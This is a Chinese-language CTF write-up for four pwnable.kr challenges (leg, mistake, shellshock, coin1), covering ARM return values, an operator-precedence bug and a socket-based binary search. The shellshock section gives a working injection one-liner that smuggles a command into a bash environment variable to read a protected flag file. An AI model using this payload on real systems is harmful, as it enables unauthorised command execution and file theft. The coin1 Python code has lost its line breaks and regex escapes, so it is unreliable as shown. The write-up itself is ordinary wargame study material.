pwnable
leg
本题是arm架构的汇编代码,该程序调用key1,key2,key3三个函数并将它们返回值的和与key做对比,相同则得到flag。
首先观察3个函数的返回值分别是什么,在arm架构中,返回值通常存储在r0寄存器中,在key1()中可以看到r0最终存储的是0x00008cdc处的pc值,即0x00008cdc+8;在key2()中可以看到r0首先存储的是0x00008d04处的pc,本应该是0x00008d04+8,但往上可以看到在0x00008d00处使用了bx命令跳转到下一条指令使得工作模式变为了Thumb,这个状态下pc表示当前指令地址加4,而之后用add指令再次加4,所以key2()的返回值为0x00008d04+4+4;再看key3(),存储的是函数的返回地址0x00008d80。算出和以十进制输入即可得到flag。
mistack
由于操作符优先级别的关系,所以代码 fd=open("/home/mistake/password",O_RDONLY,0400) < 0 中fd最终的值并不是文件标识符,而是0,即标准输入流。所以本题直接输入buf2使得其与buf相等即可,其中有小小的异或加密,再次异或一次即可
shellshock
shellshock是2014年被曝出的bash远程命令漏洞,该漏洞的原因是bash环境变量中若有函数则函数体{}之后的语句也会在初始化环境变量时执行,所以我们直接重新定义环境变量并添加上cat flag打印flag:
env x='() { :;}; /bin/cat /home/shellshock/flag' ./shellshock
coin1
开放端口的一个小游戏,每次给定一定数量的硬币,其中有一个假硬币,其余为真硬币。假硬币的重量的个位是9,而真硬币都是10的倍数,每次可以选择要称重的硬币序号,然后程序会返回它们的总重量,当唯一选择的硬币正好是假硬币时则游戏胜利,要求在30秒内赢一百次这样的游戏。30秒内进行一百次游戏说明必须通过程序来完成操作,本题的实质还是网络编程。使用二分法即可。代码如下:
import socket import re HOST = ('127.0.0.1') PORT = 9007 ADDR = (HOST, PORT) csocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) def send_coin(start, end): data_send = [str(c) for c in range(start, end)] data_send = ' '.join(data_send) csocket.send(bytes(data_send+' ')) print 'send:' + data_send return True def main(): csocket.connect(ADDR) re_start = re.compile(r'^N=(d*)sC=(d*)$') re_ok = re.compile(r'^(d*0)$') re_bad = re.compile(r'^(d*9)$') while True: data = csocket.recv(1024) print data start_match = re_start.match(data) ok_match = re_ok.match(data) bad_match = re_bad.match(data) if start_match: start1 = 0 end1 = int(start_match.group(1)) end2 = (start1 + end1) / 2 start2 = 0 send_coin(start2, end2) elif ok_match: start1 = end2 end2 = (end1 + start1) / 2 + (start1 + end1) % 2 start2 = start1 send_coin(start2, end2) elif bad_match: start1 = start2 end1 = end2 end2 = (start2 + end2) / 2 + (start2 + end2)%2 send_coin(start2, end2) csocket.close() return 0 main()